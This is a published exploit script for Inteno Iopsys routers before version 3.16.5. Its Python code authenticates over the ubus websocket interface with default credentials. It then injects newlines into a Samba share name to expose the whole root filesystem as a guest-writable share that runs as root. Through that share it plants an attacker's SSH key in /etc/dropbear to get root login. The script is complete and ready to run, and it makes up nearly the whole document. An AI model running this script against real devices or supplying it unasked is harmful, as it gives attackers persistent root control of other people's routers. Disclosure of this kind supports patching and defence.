# Exploit Title: Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated) # Date: 2020-03-29 # Exploit Author: Henrik Pedersen # Vendor Homepage: https://intenogroup.com/ # Version: Iopsys <3.16.5 # Fixed Version: Iopsys 3.16.5 # Tested on: Kali Linux 2020.4 against an Inteno DG200 Router # Description: # It was possible to add newlines to nearly any of the samba share options when creating a new Samba share in Inteno’s Iopsys routers before 3.16.5. This made it possible to change the configurations in smb.conf, giving root access to the filesystem. # Patch in release # notes: https://dev.iopsys.eu/iopsys/iopsyswrt/blob/9d2366785d5a7d896359436149c2dbd3caec1a8e/releasenotes/release-notes-IOP-OS-version-3.16.x.txt # Exploit writeup: https://xistens.gitlab.io/xistens/exploits/iopsys-root-filesystem-access/ #!/usr/bin/python3 import json import sys import os import time import argparse from websocket import create_connection from impacket.smbconnection import SMBConnection from impacket.examples.smbclient import MiniImpacketShell """ Root filesystem access via sambashare name configuration option in Inteno's Iopsys < 3.16.5 Usage: smbexploit.py -u -p -k Requires: impacket websocket-client On Windows: pyreadline """ def ubusAuth(host, username, password): """ https://github.com/neonsea/inteno-exploits/blob/master/cve-2017-17867.py """ ws = create_connection(f"ws://{host}", header = ["Sec-WebSocket-Protocol: ubus-json"]) req = json.dumps({ "jsonrpc": "2.0", "method": "call", "params": [ "00000000000000000000000000000000","session","login", {"username": username,"password": password} ], "id": 666 }) ws.send(req) response = json.loads(ws.recv()) ws.close() try: key = response.get('result')[1].get('ubus_rpc_session') except IndexError: return None return key def ubusCall(host, key, namespace, argument, params={}): """ https://github.com/neonsea/inteno-exploits/blob/master/cve-2017-17867.py """ ws = create_connection(f"ws://{host}", header = ["Sec-WebSocket-Protocol: ubus-json"]) req = json.dumps({"jsonrpc": "2.0", "method": "call", "params": [key,namespace,argument,params], "id": 666}) ws.send(req) response = json.loads(ws.recv()) ws.close() try: result = response.get('result')[1] except IndexError: if response.get('result')[0] == 0: return True return None return result def auth(host, user, password): print("Authenticating...") key = ubusAuth(host, user, password) if not key: print("[-] Auth failed!") sys.exit(1) print(f"[+] Auth successful") return key def smb_put(args): username = "" password = "" try: smbClient = SMBConnection(args.host, args.host, sess_port=445) smbClient.login(username, password, args.host) print("Reading SSH key") try: with open(args.key_path, "r") as fd: sshkey = fd.read() except IOError: print(f"[-] Error reading {args.sshkey}") print("Creating temp file for authorized_keys") try: with open("authorized_keys", "w") as fd: fd.write(sshkey) path = os.path.realpath(fd.name) except IOError: print("[-] Error creating authorized_keys") shell = MiniImpacketShell(smbClient) shell.onecmd("use pwned") shell.onecmd("cd /etc/dropbear") shell.onecmd(f"put {fd.name}") print("Cleaning up...") os.remove(path) except Exception as e: print("[-] Error connecting to SMB share:") print(str(e)) sys.exit(1) def main(args): payload = "pwned]\npath=/\nguest ok=yes\nbrowseable=yes\ncreate mask=0755\nwriteable=yes\nforce user=root\n[abc" key = auth(args.host, args.user, args.passwd) print("Adding Samba share...") smbcheck = json.dumps(ubusCall(args.host, key, "uci", "get", {"config":"samba"})) if "pwned" in smbcheck: print("[*] Samba share seems to already exist, skipping") else: smba = ubusCall(args.host, key, "uci", "add", { "config": "samba", "type":"sambashare", "values": { "name": payload, "read_only": "no", "create_mask":"0775", "dir_mask":"0775", "path": "/mnt/", "guest_ok": "yes" } }) if not smba: print("[-] Adding Samba share failed!") sys.exit(1) print("Enabling Samba...") smbe = ubusCall(args.host, key, "uci", "set", {"config":"samba", "type":"samba", "values": {"interface":"lan"}}) if not smbe: print("[-] Enabling Samba failed!") sys.exit(1) print("Committing changes...") smbc = ubusCall(args.host, key, "uci", "commit", {"config":"samba"}) if not smbc: print("[-] Committing changes failed!") sys.exit(1) if args.key_path: # Allow the service to start time.sleep(2) smb_put(args) print(f"[+] Exploit complete. Try \"ssh -i id_rsa root@{args.host}\"") else: print("[+] Exploit complete, SMB share added.") def parse_args(args): """ Create the arguments """ parser = argparse.ArgumentParser() parser.add_argument("-u", dest="user", help="Username", default="user") parser.add_argument("-p", dest="passwd", help="Password", default="user") parser.add_argument("-k", dest="key_path", help="Public ssh key path") parser.add_argument(dest="host", help="Target host") if len(sys.argv) < 2: parser.print_help() sys.exit(1) return parser.parse_args(args) if __name__ == "__main__": main(parse_args(sys.argv[1:]))